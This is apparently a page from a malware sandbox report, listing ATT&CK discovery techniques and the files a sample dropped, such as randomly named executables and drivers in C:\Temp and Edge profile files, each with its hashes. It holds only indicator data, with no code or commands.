Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c
MD5 0da87487a46ac0b219dfc10ebb7dbc09
SHA1 a58ed225df243160327f19f2d03ccb60693c562b
SHA512 cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4
SSDEEP 48:ieNHLtrCgTU534sKXG5BrBfdQSBe2nLB8JsU:dLlS3tpJ5un
TLSH
T12C91202301A68471C8BD8FF7118759C9FA7B51348311210C4AB30FD6E770A77456CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

avpnifaxsq.exe

Path C:\Temp\avpnifaxsq.exe
Size 226KB
SHA256 b01e4fd523ecf70c5957c3678386f82102eeae8654b49999726cf42633f0f89f
MD5 fddb053c6d0dbf8e54ae6851851e445b
SHA1 8f82364205dbbe89064ba12653cdeff94cc31f41
SHA512 c558b5f526ff68b41f98a04a48572683dbfc0b29ba271e3332196e276b460e4b7957ee76fad8ffa5e7364b6b4d2e086f4df0252b9377eb39346945ea6c507ba5
SSDEEP 3072:3GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:WXY4LK+a3lLNngoqRttA7
TLSH
T11534490272818071E7560B78046AE7A1467E7C384BA5E68FF7683F795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bvtrljdbvt.sys

Path C:\Temp\bvtrljdbvt.sys
Size 141KB
SHA256 a9c4659ed41cbfaa96e4a88e988a5714d27416c49c0cd5b0de3c75d554c836c9
MD5 2fde12d786fa2323003fa5dc6907f118
SHA1 502a4c8306da53bd4ecf97cf0488f67a1c0fe0ea
SHA512 7915cb32444e059a2bef860898f2c6d82477b0377974bb62a158ba55d52510f305bc7654c926b1d816f9eef60bde98dc4b69de1ff3eb75f5292c83a4dc5148f4
SSDEEP 1536:Fa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Fa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T17BE38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbvtolgeyw.sys

Path C:\Temp\dbvtolgeyw.sys
Size 141KB
SHA256 62ec5396e1d137734f76c07fa6a307958815139039ae591cc126594c439bb815
MD5 457d4732ec3a45356eba83fef5e4782d
SHA1 490319edba9681d1de2dd5f7d66546c7bbcfc853
SHA512 2cb4ad9f0a3a3f21ddbec357e819eb12d2a2644818c5a72347ec77aa8dbed9bf855d1a1c907bb67123fa26c43a90af697c3e9a19aa23918b266d2a2c11d7a8bc
SSDEEP 1536:Qa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Qa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T13DE38D12B2D2D172D4A608B8106EC72196BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdxvpnlfdx.sys

Path C:\Temp\fdxvpnlfdx.sys
Size 141KB
SHA256 d7d63e149215c455470e98d51c34989c810ddc6572ca9c4c873b95ff298f52b2
MD5 f5d8d3f3b8f9187522ff0b1f1b1f00ad
SHA1 d35ef8342a4a513ac2f3dc97c1cbe7183c7c2b67
SHA512 a457529fabbfb7321da99e4c1df4dd48fc7051d7f02b56a9f35992faeff619f4b64ea3a6abb0e549e00e8595b5b086284cb06a0eed1d6dd8fc76f77b5ebcf42e
SSDEEP 3072:Zla3rV3dZPFvOAngoRUAFa1nxayHdXkb:Zla3lLNngoqRt
TLSH
T1C6E37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrljebw.exe

Path C:\Temp\hbztrljebw.exe
Size 226KB
SHA256 2b2ff1a3795319ca7fffd53d7055fc756ac3b1377df11445d50ed15128ef5a10
MD5 bb8377788fd0ad5864e9b3ce0895dd3f
SHA1 a8e42ee5bb52eb0d99da4ec2afe249eaeaa7b783
SHA512 bb0291b2ee4377c9e86f00361c3152abca4e6d454b7032f7a4372fb6636189ebf1e5a3fd675552d867cec751b8cd1de032f5eb06b182ad6191365a1ad70f9c70
SSDEEP 3072:dGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:8XY4LK+a3lLNngoqRttA7
TLSH
T16934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_avpnifaxsq.exe

Path C:\Temp\i_avpnifaxsq.exe
Size 226KB
SHA256 d13c6875017cd3f413526e1377674f94c05c0fc0d7e5494c4a813ea3878872bf
MD5 1051abfc0b4a3a03eb6660ddc30f9e2d
SHA1 300b1633d451f4b72d7d6f83ab2b0f410a8afc1a
SHA512 1de7c732260a6c63da9d0ec63d987a45bcc85a3ad5275917479491cd8a9483e4a87359de3c2eaaaaaf254e0bf0a38a70a0f94c1c16ea6e7ee1fee347dab9c3aa
SSDEEP 3072:NfGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7/:N+XY4LK+a3lLNngoqRttA7/
TLSH
T14634490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hbztrljebw.exe

Path C:\Temp\i_hbztrljebw.exe
Size 226KB
SHA256 556991f1601f97efde686556d94c582271af6449c7f5bef7598e99cb5d2bea73
MD5 e8b827e7d3b2f26e850440eddfc65a07
SHA1 424ddb304da9dce080878f8285db5945b139f065
SHA512 f1691d842dc17789539bab6bb4b9fd49930a2bcea8cb9f78c7c0ab91ad9791c98fa5094a42c39e2787b88701ed12f10d6e64b1b6a9558c80c6c3293697d4b3d0
SSDEEP 3072:wGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:XXY4LK+a3lLNngoqRttA7
TLSH
T1A834490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_igaysqlida.exe

Path C:\Temp\i_igaysqlida.exe
Size 226KB
SHA256 4e23bc34693b88e3958c5f31c7fa37b8f1633dcd6df318011d517a893f549d2c
MD5 d5d1b2e4805ed5902a454f30c72d3fa8
SHA1 0b80bf78c5bdf93e8640732b1ffb8a9d6c8f6c9f
SHA512 68caef7f3dc71be12e922a9433e022f9750929f410f96905fddd1a1a2faccfa00b23748a34471326218f3112422a233a153f3326eb910db707f1244869857686
SSDEEP 3072:hGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:wXY4LK+a3lLNngoqRttA7
TLSH
T1F934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lfdyvqniga.exe

Path C:\Temp\i_lfdyvqniga.exe
Size 226KB
SHA256 a0bb80c0010fa05f62b33f532c64885db213dd1443b2d5552c0b71bd851a2cef
MD5 578b1da3c76e362840e7a15603af00db
SHA1 ef09128ec5ab92f23d53155d3d6d558f8ba85de1
SHA512 8a42f004613b89de49a55fe5439bcca58ef0cd93084c6cc8c09936835f719ffeeb658aed885454e415b5c3afdc14a6da32fd3e29219658f1b91d8244410fcbba
SSDEEP 3072:bGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:aXY4LK+a3lLNngoqRttA7
TLSH
T11634490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkfcxupnhf.exe

Path C:\Temp\i_mkfcxupnhf.exe
Size 226KB
SHA256 65db15746badfc651dd349ce732eb387baa941620d0a6993a3f9b70ea007a071
MD5 1d89061a7a24cbf19347ce23a4dfe2ea
SHA1 884e4354d47f75d61c6255d491e673a32c6b9d64
SHA512 e33d57042559a2c23be09287945b4d2b039b31947910584a297bf7607cd4da2a4ae029a11dc7b71947a6f918d32b0a9ea00a0383ce8783b71881f1df144f3d9a
SSDEEP 3072:AGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:nXY4LK+a3lLNngoqRttA7
TLSH
T11534490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigbywqoj.exe

Path C:\Temp\i_qoigbywqoj.exe
Size 226KB
SHA256 581f7706efd49746cdd3af560535423e955a21d6bee8513c1ba34ffd3967a79a
MD5 1fda40d7d69ebfddde159e729824b1f2
SHA1 4f1f00cb3442230ae81770d8b79120b3ac598901
SHA512 c993bfd57d997f29b34507212601eda7bf988db20fd695506164a945bebb6c43900979f8cc8dba6c3025c49ee35efc8d3c8663ab52050910a0f4f6f333801d6a
SSDEEP 3072:GGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:9XY4LK+a3lLNngoqRttA7
TLSH
T1C734490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igaysqlida.exe

Path C:\Temp\igaysqlida.exe
Size 226KB
SHA256 767b1c94c5c349415b5f96ef0197497c779d48b4c9ff52d5fc001fd447fbb55f
MD5 db45040263c8f3b0c3fd859fe7aa4c39
SHA1 b359a6e62e5e57d177ecff00020f8065c37763e3
SHA512 c09b7b3900f4ec17403c56fbbec25917b0de91b7dab1c89f8d85c91f77d9d0c6e82d17c3557e964a2914532ef98e6cdca83f912f9ebe1af14158d1d351d54c70
SSDEEP 3072:cGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:jXY4LK+a3lLNngoqRttA7
TLSH
T10C34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdyvqniga.exe

Path C:\Temp\lfdyvqniga.exe
Size 226KB
SHA256 0d98fafd2b5fadd90661ffaf1ca841e5130d212d474d9012f79e56b9a092ae15
MD5 ce7b847ac33715671752a2f9e2de9f3a
SHA1 f7a6a5565e26aae529e5321ac9be4330e8480390
SHA512 9e48e9c9fbc445e57bccd81f893f4145696566b5a4dc0580084a635f231cd50ecfa104b600fb933f2f6b2ae68a6f32a51e4b52914a042327cb76961ad4df14d5
SSDEEP 3072:7GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:6XY4LK+a3lLNngoqRttA7
TLSH
T1F834490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkfcxupnhf.exe

Path C:\Temp\mkfcxupnhf.exe
Size 226KB
SHA256 59a1d8ab0aa1b66413651a08e4060cad2049a703cf72c11db6dc27bcd310c9e4
MD5 c0b5108d51fcebb45c866c356d8bf443
SHA1 adf115a3562c5a92a1facf16e689fc7543da7f80
SHA512 66878f0aaa523bf2981ec25ac015104666cb4ef1340f4d7b6774b08dc601c7993667acaaf6a27c3ae4e976d5c4a0c6278b5f184696c72e38ddb74ebd2b658279
SSDEEP 3072:WGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:NXY4LK+a3lLNngoqRttA7
TLSH
T10034490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigbywqoj.exe

Path C:\Temp\qoigbywqoj.exe
Size 226KB
SHA256 55e5c41c3ba7a073126117746feafccf5a9ca4ef74a3b0fdc6b41c6fcc40e0a8
MD5 e65153f54ff43be03e7b578f74271d2c
SHA1 e4ee5b86fe30507f75c040d5e20b3e6be37ae4bd
SHA512 8c157d43db1a0782c1ceae8bec2e6a4662a3baff2f6647ed39ef1375534e47ec5fc492095ab0b6ec4f5a9b31f21b6d115442460274e4b365c26c0892258b8c71
SSDEEP 3072:HGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:mXY4LK+a3lLNngoqRttA7
TLSH
T17A34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683F795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlgdyvqoi.sys

Path C:\Temp\tnlgdyvqoi.sys
Size 141KB
SHA256 004bd7928037b90077f90a8c7461809f1f2a670fbdfa55dac0fa25e8a15beb87
MD5 724b1b2116d0c090b344c79a8b908231
SHA1 d56130a9d7461be0b1ad0f40f2082163228c303e
SHA512 880cd39d15bf832e74d75f1eac4669bfc143b382bcd6aa6a210dfe50c49856f3a1ad9526e82144394573971fad7848172483d14561d1e216519dc8183c750289
SSDEEP 1536:Da3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Da3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T10DE38C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

upnhfzxspk.sys

Path C:\Temp\upnhfzxspk.sys
Size 141KB
SHA256 89e4c20af8197250b88cbe67c63f55c64474775fe9569a1bdd0250181624edf8
MD5 5be8eb6390a878a81cfcbb87f957f12e
SHA1 16d8b4815f2f50e4bff157d80d0d8357a4ee9db5
SHA512 d6ecaf44b572c1cd9a5434d7275c4af105cf406e9c5b492b34984fc283c3eb28b646662e13a0326dcf7bd6ea9bacec30198e5f37a8e9d17cd4467fa4cdf71db8
SSDEEP 1536:4a3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:4a3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T1D8E37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xsmkecxrpk.sys

Path C:\Temp\xsmkecxrpk.sys
Size 141KB
SHA256 c3a583006f69d8bf37c9fbb2f77b6391537541da5e40364ba105d11b509b17c5
MD5 662474413b77960372e78e73431f6972
SHA1 d164eb9188a2294d844fafafc89f75f741357195
SHA512 5c0c5fffd6bacd7654457a434867f067a35dfe2cd13ecfe4ddc54695f540e89f85d2f2dcc6d9fdcc4df7d3909bc92380657a26ac7371ce1ccc530c6f701edf1d
SSDEEP 1536:Fa3rVFFMwYJmGCtPpLSuLSWoNAAq3pgoRWNRrH/vxc6tAFB7QruSk8pxayHdXltw:Fa3rV3dZPFvOAngoRUAFa1nxayHdXkb
TLSH
T149E37C12B2D2D172D4A608B8106EC72296BE79304F7AD9C7FB940BAD5E642D0BD3531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b24846f4bb01e57dd47994ee8ca33e14a6a356938971c33205ed76a4fe3c7b61
MD5 2415c177850265ec333bf407bedd2c4b
SHA1 2ccfbe660996437603bf4e0b70309310c3095994
SHA512 1a616d299248ea7424c92347e2568121b74d992540a7c2809c47f5e8113710d7965935a30c55d53ceef337cee1ae1bdbacfc42ed7e68109e206d0f729f22be4f
TLSH
T1E4D012663B4AB001E7698230E4C2C311267650E038864A01B254C81D99E41D86693186
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 b3a5272c30f7526ed719d1c23fbbf2a664ce200da98fc69918ab7f8ba4f20903
MD5 6aa2adb89bcc3973e622b85ad58e38ba
SHA1 020c781359a16ce1fa10f7a593ad7c6340efdaa6
SHA512 4cf00a3ebf14f3e625dac910de1d979319d596fc2722ecd93a3f31abf0bfd41f91e9a194434fa57d1628921a8c4084484706fb480c5d18522aceabb9b28a19e8
TLSH
T134E02BF6C8229C2B08FE072979941745D70113672B40591F373D820CCFB473B459A91C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 070e1b7fe5f387c937211c7e7376a9873b98488544e44bdab81838a10b2d8799
MD5 ac16112239ed908a2cdbdaf512cd5812
SHA1 aec7bd6871ffc10b4e32185df3e27e0a56e4f75f
SHA512 d1a4f5ca31f6c1227b4ea861b61b6a2bfce241a5ee8524fc4df8aec9c9b81baae3242c633b1c73fe2bea3977d6dd230f9b58eda882e2152b8ff33e03e07671d3
TLSH
T11841BFF7C3E4856D891196F0BA18BE2FCE1D0954432C3D5AC9E4AF1B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 bfe11eba19d457350710be0be172bb3fa816e1cf002aafef3eedb2933d905282
MD5 be084e9ee9303d68a9e57fd86cd17e43
SHA1 5c65011f4fd106a546e62d21a206738378fd80e2
SHA512 9fb30a94173c1268dcc3dab1be3cf9e2c219b0cbb9f6940df1a3094d1313ee44a6d641b7cd85f2fc3231b442d02385f79f641d9ab476f5cd664e3044619e7cfa
SSDEEP 192:sxZDRLyMqZjK1Ml8UQgcB/fis5snJKQ7PgYsW0vzodpZW/W6+WNs+F/Y0Z9juIgF:sxZDAqfB/fis2JV7orW0kU/bP/5uPLx
TLSH
T19C72FA16A63859778CDBD219FA557B53E7F9156392900E44AAFCCB0C00E6BED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 2712de71b2704fa62f9ecd20a46a2be5d8b225c43b6a66fff0d811c487d57eb1
MD5 508a09bd680d89516dd87ecf765b5134
SHA1 e621531a330f521811e75d273b89296b2d895eed
SHA512 4e6647670408e70a52b2aad250885409fd823208a3e4d0ec3279a9ca131f95ec31be941325c6e127301d6e864496565cb3ec709b4fde088700492e5b04239d21
SSDEEP 192:sxZDRLyMqZjK1Ml8McB/fisFsn9KQ7PgYsW0vzodpZW/W6+WNs+F/Y0Z8juIgjJK:sxZDA0B/fisa9V7orW0kU/bP/5pjJLe
TLSH
T1A862F916A63859778CDBD319FA557B53E7F9156392900E44AAFCCB0C00E6AED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 eaa746be908afb17591ce1d6a7726a6ec3792547b305038ed6a9cdd92cfc44bc
MD5 eb0e903feaac8b25aef1748c431a1a5f
SHA1 1105cc0b16371c1270af5a95492bafc8492d2f8e
SHA512 5993e842c037da08f8c4637c4d711f672fedea0d96e44a1bfa0baea1a075d15703a98e8f664cefb03f8e3c26d09e1ce58c08cda54d5653ec4dd3acfcb27912b8
SSDEEP 768:XwZh38Dv2S47pLuLnZFWRm6GQFm8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3gGq9LlT:XwZh38Dv2SkEnZFWRm6GQFmu1jaKgGqz
TLSH
T159030A3B280CCB7E4F844E9CED267F8A6EE8028B56988D5447FA494C03C66EF15175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 591105a8eb54868336b67ba23b5c108c1a109577b7ecd4e411758403f5baab03
MD5 48c57f4e5231023dcf5469aeed8dd353
SHA1 cc4a0e657117de891fd96e5f74cfc752b0428a58
SHA512 170ef3b4c5a62c4ad6f54876d15fc962b16f845f47aab0e1c2bbae2c82ca69d7b2a75dca378f360a10cefc24aa7f8191506d4a4e4442fbe21923d0684a9085e6
SSDEEP 192:cFkbIH791le1K77LTl56jbSp+bv+TVCNnCtTq/tVZ3KjlxhqVExFzH7m36J9pZZW:ctGj+BCNC5qFVpKxxpU
TLSH
T16FB28A1632BA02023C3DB91D87A597375A42B1A33418E93B7FE854B60E67E214DFD9CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 1de57c1e4da1c2902fd974860a846a0752623456ba2505b642ec9a37a6f988a6
MD5 26f7155199083d6b0d3de2a8f554373f
SHA1 e306ea8a2d6150854be3a460d8c43e2850c6723d
SHA512 7d5bf6aa9317a8f321bbc6728243773874cc8e2b5a9c1365667d0c56b7c111cddc13c8ced33f27fbf4124acb58d1947f2a29bc379f6ff1147f5cba23ab201e65
SSDEEP 384:npiF9CcmyWCs38NB8TUNTUlIx0HOrk6oC8F1zCfbLokI4Sge4KV8p0kVty/7IgU:AFccps3CwgqHFG8zOoR4SgI8p0kt
TLSH
T1C5C24B36EC68DAA7EDE74F98F74E7603DED0116785889AD4DAD81D0D008B19D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 794ffb961024b19506549bc8c17294b578c967a27535fbb486b6aa609d3d4b1b
MD5 9c09c2d2c00c6c4917fec8f0f5890d58
SHA1 97bc352977da9ac2240fd54827b160d8fb74c4a5
SHA512 d3dc1a062623ca5219cb454e66aaa8f4b8ae4873d70bb0cac373ceda793311f9e9834dd918d454d6361fed08c381aec44bf104a55974c2b6aaa1689fdf0ee67e
SSDEEP 384:nciF0CcmyWCk8Nz8TUNTUlIRWrk6MiJ+am01zCfbLokITX05ttu2CddblI4H+HLX:HF/cpkgwgfuJ+amuOoR70Ju2CfH+5jJn
TLSH
T142F2B2F598DB8AB7D8AE4B97A73D2D029EBCC15775484984FB940D0CCC4A1BFD30A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 c95c2ccece4084cc3b9a904571750b651904ba505b222d2b409551cb49fc4706
MD5 90c9a42e8d3cc947adeb953408d528c2
SHA1 7e73c18092147fefccca5633f5c7c1453e75309f
SHA512 20ac44b4b24a8db1fd310135df592c69e4b1e531d9d958e5accf749938ea89d580709c14d3acce46d398d41a19b3a9d6a89b78f8971f6e705c01d57ab7ecd52e
SSDEEP 384:nWiF9CcmyWCs38Nz8TUNTUlIRqrk60irm01zCfbLokITX05t3R2CddblI4H+HLw+:9Fccps3gwgfWrmuOoR707R2CfH+5jJn
TLSH
T101D25D36ECA8CAA7ECE75F99F74E7613DEE0116785885AD8C9D91E0C008B19D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 856829b9be1e001908fc43f17eb7bea20e7644e8125096312f3d2fd3f02f6019
MD5 809cb37937c6d4c8a6082ccd79665cc2
SHA1 9f36689bb86a579ded9747880d989d51f74bc140
SHA512 ac5991eb942694dcf9fe488ffa843cab5e6449d2624add938f5f9b82c67fea3a3b24bfc5cb60d9e09b2f88defb7abf07c490f46cc64238781a056a51bbc6ac05
SSDEEP 384:nWiFwCcmyWCZ8Nz8TUNTUlIRWrk60irm01zCfbLokITX05t342CddblI4H+HLwtI:9FTcpZgwgfWrmuOoR70742CfH+5jJn
TLSH
T158D25C36ECA8CAA7ECE75F99F74E7613DEE0116785885AC8C9D91E0C008B19D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 b1d739dc765121dd880f866bc1fbfe4157587f3ed8ba8d255124174a815e0764
MD5 7e7f0c9f33a9d738508614e8aa4a3cfd
SHA1 0ac4702e5ba68494aacc6059108b2a51403b52b7
SHA512 daf3c3544821e2921893cd5ed2117a1635c3ff952c2ea48f7037a8e24078bbeaf758e4d6026df6ebecbe8779a354b6c2824b7203b6ac8578ce9f7140089d4b3f
SSDEEP 384:njiF0CcmyWCq8Nz8TUNTUlIRWrk6Girm01zCfbLokITX05t3w2CddblI4H+HLwtI:OF/cpqgwgf0rmuOoR707w2CfH+5jJn
TLSH
T132D25C36ECA8CAA7ECE75F99F74E7613DEE0116785885AC8C9D91E0C008B19D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.5.19.1\typosquatting_list.pb
Size 397KB
SHA256 a2ce65565de87ad65e06a827fa388c975c9231d335beaf67ec4011b39f3e69f7
MD5 88ff091d8125bda1a06ed624cbb39219
SHA1 3ba3dd813cf25e39d8118ac38c98d58d80107f9b
SHA512 c48448a9028b059e9a0f6651c8552782472fd5efc77d35464b7acbc2b1a3d782adf6f48056779c6f67ae3bac6f20761c760d36cc543ab3a730c7de4ef528e27d
SSDEEP 3072:nOmXKKKxPTa5ORUEaT7sfD0yTFSp1+A9q9JyNrylwks:baKKxe8avgVr9YN6wks
TLSH
T10D84A3B9DFC00150DB78112D20BE71D8181412A580E9DFEAFE7D865F2BC2AC977E85E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

